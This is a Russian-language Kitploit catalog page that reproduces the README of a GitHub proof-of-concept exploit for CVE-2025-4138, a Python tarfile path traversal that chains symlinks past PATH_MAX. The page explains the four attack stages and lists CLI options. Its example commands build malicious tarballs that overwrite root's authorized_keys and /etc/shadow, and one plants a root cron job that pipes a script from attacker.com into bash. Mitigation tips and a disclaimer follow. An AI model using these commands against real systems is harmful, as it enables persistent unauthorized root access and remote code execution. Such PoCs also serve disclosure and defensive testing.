Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2025-4138-POC — PoC на Python для CVE-2025-4138, обход пути (path traversal) в модуле tarfile Python, использующий цепочки символьных ссылок для обхода ограничения PATH_MAX с целью произвольной записи файлов. | Kitploit
Инструменты/GitHubGitHub/d3vn0mi/cve-2025-4138-poc
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и ОбразованиеРазработка Полезной Нагрузки
GitHubd3vn0mi/cve-2025-4138-poc

CVE-2025-4138-POC

PoC на Python для CVE-2025-4138, обход пути (path traversal) в модуле tarfile Python, использующий цепочки символьных ссылок для обхода ограничения PATH_MAX с целью произвольной записи файлов.

Репозиторий
16 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2025-4138 - Python tarfile PoC обхода PATH_MAX

Автор: d3vn0mi

root@kitploit:~
   _______  _______     ____  ___ ___  ___      _ _  _ _____ ___
  / ___\ \ / / ____|   |___ \/ _ \__ \| __|    | | || |___ /( _ )
 | |    \ V /|  _| _____ __) | | | |) |__ \ ___| | || |_|_ \/ _ \
 | |___  | | | |__|_____/ __/| |_| / __/___) |___|__   _|__) \__, |
  \____| |_| |_____|   |_____|\___/_____|____/      |_||____/ /_/

  [ CVE-2025-4138 :: Python tarfile PATH_MAX Bypass ]
  [ Author: d3vn0mi                                 ]

Обзор

Эксплойт типа proof-of-concept для CVE-2025-4138, уязвимости обхода пути в модуле Python tarfile. Уязвимость позволяет злоумышленнику создать вредоносный tar-архив, который записывает файлы в произвольные места за пределами целевого каталога извлечения, используя цепочки символических ссылок для превышения PATH_MAX.

Детали уязвимости

ПолеЗначение
CVE IDCVE-2025-4138
КомпонентМодуль Python tarfile
ТипОбход пути (CWE-22)
ВекторЦепочка симлинков + обход PATH_MAX
ВоздействиеЗапись произвольного файла вне каталога извлечения

Как это работает

Эксплойт состоит из четырёх этапов:

  1. Раздувание пути — создаётся цепочка глубоко вложенных каталогов и симлинков так, что полный разрешённый путь превышает лимит ядра PATH_MAX (4096 байт в Linux).

  2. Пивот-симлинк — добавляется симлинк, разрешённый путь которого пересекает границу PATH_MAX. Поскольку путь слишком длинный для разрешения, проверки безопасности Python tarfile (основанные на os.path.realpath()) молча завершаются ошибкой и пропускают валидацию.

  3. Эскейп-симлинк — второй симлинк использует ../ для прохода через пивот, выходя за пределы каталога извлечения и указывая на абсолютный путь в файловой системе, контролируемый злоумышленником.

  4. Сброс полезной нагрузки — через эскейп-симлинк записывается обычный файл, который попадает в целевой путь с содержимым и правами, контролируемыми злоумышленником.

root@kitploit:~
Extract dir
    |
    +-- ddd...d/          (247-char dir)
    |   +-- a -> ddd...d  (symlink shortcut)
    |   +-- ddd...d/
    |       +-- b -> ddd...d
    |       +-- ...       (16 levels deep, resolved path > 4096)
    |
    +-- a/b/.../p/lll...l -> ../../...   (pivot - PATH_MAX exceeded)
    +-- escape -> pivot + ../../... + /target/dir  (escape)
    +-- escape/target_file  <-- PAYLOAD LANDS HERE (outside extract dir)

Установка

root@kitploit:~
git clone https://github.com/d3vn0mi/cve_2025_4138_poc.git
cd cve_2025_4138_poc

Внешние зависимости не требуются — эксплойт использует только модули стандартной библиотеки Python 3.

Использование

root@kitploit:~
usage: cve_2025_4138.py [-h] [-o OUTPUT] [-t TARGET] [-p PAYLOAD]
                        [-s PAYLOAD_STRING] [-k SSH_KEY] [-m MODE]
                        [-d DEPTH] [-v] [-q]

Опции

ФлагОписание
-o, --outputПуть к выходному tarball-файлу (по умолчанию: exploit.tar)
-t, --targetАбсолютный путь к файлу для записи на цели (по умолчанию: /root/.ssh/authorized_keys)
-p, --payloadПуть к файлу, содержимое которого станет полезной нагрузкой
-s, --payload-stringИспользовать строку как полезную нагрузку
-k, --ssh-keyПуть к файлу открытого ключа SSH
-m, --modeРежим прав доступа в восьмеричном формате (по умолчанию: 0600)
-d, --depthГлубина обхода каталогов (по умолчанию: 8)
-v, --verifyВывести содержимое tarball после создания
-q, --quietПодавить баннер

Примеры

Запись открытого ключа SSH в authorized_keys root:

root@kitploit:~
python3 cve_2025_4138.py -k ~/.ssh/id_rsa.pub -v

Запись cron-задачи для сохранения доступа:

root@kitploit:~
python3 cve_2025_4138.py \
  -s "* * * * * root curl http://attacker.com/shell.sh | bash" \
  -t /etc/cron.d/backdoor \
  -m 0644 \
  -o cron_exploit.tar

Запись произвольного содержимого файла из локального файла:

root@kitploit:~
python3 cve_2025_4138.py \
  -p payload.txt \
  -t /etc/shadow \
  -o shadow_exploit.tar \
  -v

Вывод

root@kitploit:~
[*] Building exploit tarball: exploit.tar
[*] Target file: /root/.ssh/authorized_keys
[*] Payload size: 574 bytes
[*] Traversal depth: 8
[*] Stage 1/4: Creating symlink chain for path inflation...
[*]   Chain link 1/16: resolved path length ~247 bytes
[*]   Chain link 2/16: resolved path length ~494 bytes
    ...
[*] Stage 2/4: Creating pivot symlink (PATH_MAX bypass)...
[*] Stage 3/4: Creating escape symlink (directory traversal)...
[*] Stage 4/4: Writing payload through escape symlink...
[+] Exploit tarball created: exploit.tar
[+] Archive size: 20480 bytes
[+] Target: /root/.ssh/authorized_keys (mode 0o600)
[+] Done. Use with caution - authorized testing only.

Устранение

  • Обновите Python до исправленной версии после выхода исправления.
  • Используйте tarfile.data_filter (Python 3.12+), который предоставляет более строгие методы извлечения.
  • Никогда не извлекайте ненадёжные tar-архивы от root или в чувствительные каталоги.
  • Используйте --strip-components или проверяйте содержимое архива перед извлечением.
  • Применяйте защиту на уровне файловой системы, например, ограничение следования симлинкам (fs.protected_symlinks).

Отказ от ответственности

Этот инструмент предоставляется только для авторизованного тестирования безопасности и образовательных целей. Несанкционированный доступ к компьютерным системам незаконен. Автор не несёт ответственности за неправомерное использование. Всегда получайте надлежащее письменное разрешение перед тестированием систем, которые вам не принадлежат.

Лицензия

Этот проект лицензирован под лицензией MIT.


d3vn0mi | GitHub

Скачать инструмент